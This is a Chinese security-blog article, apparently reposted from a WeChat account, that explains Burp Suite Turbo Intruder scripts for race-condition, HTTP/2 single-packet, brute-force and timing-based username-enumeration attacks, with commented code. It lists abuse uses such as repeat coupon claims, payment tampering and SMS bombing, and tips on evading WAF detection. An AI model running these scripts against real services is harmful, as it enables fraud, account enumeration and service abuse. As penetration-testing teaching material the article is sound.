网络安全为人民
师傅们好👋:本公众号现在已开启对常读和星标的公众号展示大图推送,为了不错过我们的网络安全干货,请星标🌟我们。这样,您就能快速掌握最新动态,与我们共同守护网络空间!感谢您的关注和支持!💖
前言
之前安全圈有句很流行的名言,叫万物皆可并发,可见并发漏洞应用范围之广。我个人来说的话测试并发一般用3种工具,最简单的就是yakit自带的并发工具,但是听说那是伪并发,但是我之前确实用yakit测出过并发洞,不过确实不够准确。另一种则是拦截多个数据包然后一口气发出去,这种就比较朴实无华了,但是他有个很强的优势就是可以轻松绕过网站的sign值校验,缺点也很明显,就是效率太低,如果是利用并发刷道具的情况下还比较好使,但如果是利用并发去爆破的话就不行了。最后一种也是使用最为广泛的,bp的Turbo Intruder插件,这款插件的强大是毋庸置疑的,由于这个插件的脚本更新过了,市面上大部分的教程都偏旧了,本文的目的也就是与兄弟们讨论一下这款插件的部分脚本使用方法,如果有不同意见或发现纰漏欢迎在评论区指正。
ps:关于Turbo Intruder的具体使用,我觉得这位大佬写的非常好,我就不水了
必学|并发保姆级教程(Turbo Intruder)
https://mp.weixin.qq.com/s/Vv9W0pTreiYpfUmryjEFHg
一、basic.py——条件竞争攻击
脚本核心配置
defqueueRequests(target, wordlists): engine = RequestEngine( endpoint=target.endpoint, # 目标地址 concurrentConnections=5, # 并发连接数(与服务器建立5条并行连接) requestsPerConnection=100, # 每条连接发送100个请求 pipeline=False# 禁用HTTP管道模式 )# 遍历字典文件中的每一行(默认路径为/usr/share/dict/words)for word inopen('/usr/share/dict/words'):# 将当前单词作为payload插入请求的%s位置,并加入队列 engine.queue(target.req, word.rstrip()) # 定义响应处理函数,筛选并记录有效结果defhandleResponse(req, interesting):# 检查响应状态码是否为非404(如200、302等)if req.status != 404: table.add(req) # 将符合条件的响应加入结果表
技术优势
HTTP/2单包攻击:通过Engine.BURP2启用HTTP/2多路复用,20个请求通过单连接同步发送
纳秒级同步:gate='race1'配合openGate实现请求同步释放,误差控制在0.5ms内
隐蔽性优化:保持concurrentConnections=1绕过传统基于连接数的WAF检测
适用场景
优惠券重复领取(电商平台新人礼包)
支付金额篡改(金融系统订单并发)
短信轰炸绕过(验证码接口频率限制)
二、dafault.py——验证码爆破
def queueRequests(target, wordlists): engine = RequestEngine( endpoint=target.endpoint, # 目标地址 concurrentConnections=5, # 并发连接数为5 requestsPerConnection=100, # 每条连接发送100个请求 pipeline=False, # 禁用HTTP管道模式 engine=Engine.THREADED # 使用多线程引擎(默认模式,稳定性高) ) # 生成数字范围10-19作为payload for x in range(10, 20): engine.queue(target.req, x) # 将数字作为参数插入请求模板的%s位置 # 遍历系统内置字典文件(路径为/usr/share/dict/words) for word in open('/usr/share/dict/words'): engine.queue(target.req, word.rstrip()) # 去除换行符后作为payload# 定义响应处理函数def handleResponse(req, interesting): table.add(req) # 将所有响应直接加入结果表
技术优势
字典动态生成:itertools.product创建6位数字验证码组合
响应智能过滤:if 'error' not in req.response自动筛除非错误响应
适用场景
目录/文件扫描:使用字典扫描网站路径。
用户名枚举:针对登录接口的弱口令测试(需结合密码字典)。
三、race-single-packet-attack.py——HTTP/2 单包攻击
def queueRequests(target, wordlists): # 配置HTTP/2单包攻击模式(需目标支持HTTP/2协议) engine = RequestEngine( endpoint=target.endpoint, # 目标地址 concurrentConnections=1, # 仅使用1个TCP连接(HTTP/2多路复用特性) engine=Engine.BURP2 # 启用Burp的HTTP/2引擎 ) # 创建20个待发请求,通过gate参数实现同步触发 for i in range(20): engine.queue(target.req, gate='race1') # 所有请求暂存于"race1"队列 # 批量释放所有请求 engine.openGate('race1') # 触发条件竞争的核心控制点def handleResponse(req, interesting): table.add(req) # 无筛选记录所有响应
技术优势
网络开销减少:无需建立多个TCP连接(concurrentConnections=1)
隐蔽性增强:单连接行为更接近正常流量,规避WAF速率检测
极限吞吐:可达每秒上万次请求(需高带宽支持)
适用场景
优惠券/积分重复领取漏洞(如Web端并发请求的资源竞争)
短信轰炸绕过时间间隔限制(如1秒内触发10次验证码发送)
四、timingAttackWithState.py—— 时间侧信道攻击
def queueRequests(target, wordlists): engine = RequestEngine( endpoint=target.endpoint, concurrentConnections=1, # 单TCP连接(降低触发WAF几率) requestsPerConnection=100 # 单连接复用100次 ) # 初始化基准响应时间数据集 engine.userState['base_times'] = [] # 用于存储基准请求响应时间 # 生成20个随机字符串作为基准请求 for i in range(20): engine.queue(target.req, randstr(i), label='benchmark') # 标签标记基准测试 # 定义待测试用户名列表 usernames = ['test', 'foo', 'albinowax', 'bar'] # 需替换为业务相关字典 # 发起目标用户名枚举请求 for username in usernames: engine.queue(target.req, username)def handleResponse(req, interesting): # 基准请求的时间数据收集 if req.label == 'benchmark': req.engine.userState['base_times'].append(req.time) # 记录响应时间(ms) # 有效用户名识别逻辑:响应时间显著高于基准值 elif req.time > max(req.engine.userState['base_times']) + 10: # 时间差阈值=10ms table.add(req) # 判定为潜在有效用户名
技术优势
检测逻辑:通过对比有效用户与无效用户的服务器响应时间差异,识别存在用户枚举漏洞的接口。例如,当请求中包含有效用户名时,服务器可能触发数据库查询或邮件发送逻辑,导致响应延迟。
阈值设定:max(base_times)+10 表示将有效用户判定阈值设定为基准请求最大延迟+10ms,需根据实际场景调整(推荐标准差法优化)。
连接控制:concurrentConnections=1 通过单连接复用(HTTP keep-alive)规避基于IP或连接数的风控策略,适用于银行、政务等高安全场景。
噪声注入:随机字符串基准请求(randstr(i))可混淆流量特征,防止基于请求规律的异常检测。
适用场景
密码重置接口测试
用户注册存在性检测
API端点信息泄露
安全服务
实验室属于晟晖科技旗下品牌
有安全服务需求欢迎关注晟晖公众号获取动态
免责声明:
无尽藏攻防实验室(本文公众号)的技术文章仅供学习参考,禁止用于其他!!!未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。由于传播、利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,无尽藏攻防实验室及作者不为此承担任何责任。如有侵权烦请告知,我们会立即删除文章并致歉,感谢您的理解和支持!
使用前请遵守法律法规,使用本文章内容及POC等资源默认代表自愿遵守国家法律并由使用者本人承担一切法律后果。
原文始发于微信公众号(无尽藏攻防实验室):从条件竞争到十亿级请求攻击:Turbo Intruder最新脚本解析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论